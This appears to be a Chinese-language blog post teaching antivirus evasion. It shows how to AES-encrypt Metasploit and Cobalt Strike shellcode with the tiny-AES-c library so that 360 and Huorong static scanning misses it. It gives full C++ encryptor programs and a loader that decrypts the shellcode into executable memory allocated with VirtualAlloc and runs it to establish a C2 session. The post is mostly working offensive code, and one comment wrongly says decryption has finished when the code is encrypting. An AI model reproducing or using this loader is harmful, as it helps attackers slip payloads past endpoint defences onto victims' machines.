首页 > 其他分享 >静态免杀-AES加密

静态免杀-AES加密

时间:2024-06-17 22:55:12浏览次数:12  
标签:AES 加密 免杀 ctx unsigned char x01 buf

shellcode aes 加密

写在前面

针对国内主流的杀毒,360、火绒静态对默认的shellcode的检测是非常敏感的,这里推荐使用aes加密来对shellcode进行加密达到静态规避的效果

1、aes 定义

贴了个链接,想要更深的了解可以自行检索一下

简述AES加密算法

2、推荐项目

https://github.com/xf555er/ShellcodeEncryption

https://github.com/SergeyBel/AES

https://github.com/kokke/tiny-AES-c

https://github.com/WaterJuice/WjCryptLib

https://github.com/mygityf/cipher

3、实践

https://github.com/kokke/tiny-AES-c

以https://github.com/kokke/tiny-AES-c 为例演示一下项目的使用

首先咱们打开项目

VS创建空项目

这里是需要用的文件

添加头文件

aes.h

aes.hpp

源文件

aes.c

把对应的代码放进去即可

如图所示即可

这个库默认使用 AES128 的,我们可以修改aes.h,让其使用 AES256

现在已经完成设置了

接下来就是加密、解密上线的脚本了。

这里需要注意 key 和iv 的位数

unsigned char key[] = "16的倍数位的key";
unsigned char iv[] = "16位的偏移量";

msf 加密cpp

msf_encrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "msf生成的shellcode";

    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);

    printf("Encrypted buffer:\n");

    printf("unsigned char buf[] =\n");
    int count = 0;
    for (int i = 0; i < bufSize - 1; i++) {
        if (count == 0) {
            printf("\"");
        }
        printf("\\x%02x", buf[i]);
        count++;
        if (count == 15) {
            printf("\"\n");
            count = 0;
        }
    }
    printf("\";\n");
    system("pause");
    return 0;
}

cs加密cpp

cs_encrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "cs生成的shellcode";

    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
		//到这里shellcode 已经完成解密,可以通过buf[i]直接遍历拿数据了

    for (int i = 0; i < bufSize - 1; i++) {
        printf("\\x%02x", buf[i]);
    }
    system("pause");
    return 0;
}

AES 加密后的shellcode

解密上线cpp

这里在无杀软的情况下直接loader启动,就不考虑api调用之类的因素了,这里演示上线。后续可以自己再发挥~

cs_decrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] ="aes解密后的shellcode";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    // 解密shellcode
    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
		//同样到这里已经完成解密了

    LPVOID Memory = [**VirtualAlloc**](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)(NULL, sizeof(buf),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (Memory == NULL) { return 0; }
    [**memcpy**](https://www.runoob.com/cprogramming/c-function-memcpy.html)(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

4、参考文章

实现免杀:Shellcode的AES和XOR加密策略(vt查杀率:4/70)_免杀加密-CSDN博客

奇安信攻防社区-免杀笔记之 aes 加 lazy_importer 加 shellcode 分离

标签:AES,加密,免杀,ctx,unsigned,char,x01,buf
From: https://www.cnblogs.com/Adfind/p/18253384

相关文章

  • MD5哈希加密算法
    [TOP]简介MD5(Message-DigestAlgorithm5)是一种被广泛使用的密码散列函数,它可以产生出一个128位(16字节)的散列值(hashvalue),用于确保信息传输完整一致。MD5并不是一种加密算法(因为它不可逆),而是一种摘要算法或哈希算法。以下是MD5加密(更准确地说是哈希)原理的简要概述:说明输入:MD......
  • Unity制作影视互动游戏视频加密方案分享
    前言随着《完蛋!我被美女包围!》和《美女,别影响我学习》等影视互动游戏的爆火公司最近也有款影视互动项目于是乎就接到了对视频加密的任务毕竟谁也不想直接被拿到几十个G的视频原文件看完直接退款吧于是乎研究了一下当前的加密方案(仅限用Unity原生VideoPlayer播放) 一......
  • 椭圆曲线加密算法中公钥与私钥互换性分析
    PrimiHub一款由密码学专家团队打造的开源隐私计算平台,专注于分享数据安全、密码学、联邦学习、同态加密等隐私计算领域的技术和内容。在现代密码学中,椭圆曲线加密算法(EllipticCurveCryptography,ECC)因其高效的加密速度、较小的密钥尺寸和较高的安全性而受到广泛关注。ECC基......
  • C#.NET与JAVA互通之DES加密V2024
    C#.NET与JAVA互通之DES加密V2024 配置视频:  环境:.NETFramework4.6控制台程序JAVA这边:JDK8(1.8)控制台程序 注意点:1.由于密钥、明文、密文的输入输出参数,都是byte数组(byte[]),所以:字符串转byte数组(byte[])环节,双方要约定好编码。2.KEY和IV从字符串转byte数......
  • BitLocker加密分区丢失了如何恢复?
    关于BitLocker加密分区丢失与恢复BitLocker是Windows操作系统提供的磁盘加密技术,可以更好的保护电脑中的数据。被BitLocker加密后的分区,在文件管理器中可以看到分区上会有个黄色的锁(如下图所示),双击该分区,会弹出窗口要求输入密码或是秘钥。输入正确的密码/秘钥后,即可解锁BitLocke......
  • Http压缩zip,加密base64发送与获取
    //数据压缩成Zip再发送publicstaticstringZipBasebyte(stringxml){byte[]bytesToCompress=Encoding.GetEncoding("GBK").GetBytes(xml);MemoryStreamms=newMemoryStream();ZipEntryze=newZipEntry("servlets......
  • 安全算法 - 加密算法
    本文主要介绍安全算法之加密算法。数据加密的基本过程就是对原来为明文的文件或数据按某种算法进行处理,使其成为不可读的一段代码为“密文”,使其只能在输入相应的密钥之后才能显示出原容,通过这样的途径来达到保护数据不被非法人窃取、阅读的目的。该过程的逆过程为解密,即将......
  • 编码与加密(对称加密与非对称加密)
    目录编码与加密Base64编码(可逆)十六进制编码(hex.EncodeToString函数)(可逆)哈希算法(不可逆)MD5(不可逆)SHA-256(不可逆)MAC算法(不可逆)加密算法(可逆)对称加密算法(可逆)DES(可逆)AES(可逆)区别非对称加密算法(可逆)RSA(可逆)ECC(可逆)PEM格式存储密钥DER格式存储密钥加密模式CB......
  • 【Go】用 Go 原生以及 Gorm 读取 SQLCipher 加密数据库
    本文档主要描述通过https://github.com/mutecomm/go-sqlcipher生成和读取SQLCipher加密数据库以及其中踩的一些坑用go去生成读取SQLCipher数据库用gorm去读取SQLCipher数据库在生成后分别用DBeaver、dbbrowser和sqlcipher读取SQLCipher数据库,基础操作见......
  • 非对称加密基于DH、DSA的的变种ECDH、ECDSA
    前面介绍DH、DSA都是基于离散对数的大数分解难题的。为什么有了还有ECC(椭圆曲线)呢,因为ECC需要的秘钥更短、更快(整数因子分解算法是最快的计算离散对数因子分解算法)椭圆曲线密码学简介(一):实数域的椭圆曲线及其群运算规则椭圆曲线公式曲线公式曲线没有奇异点,即处处光......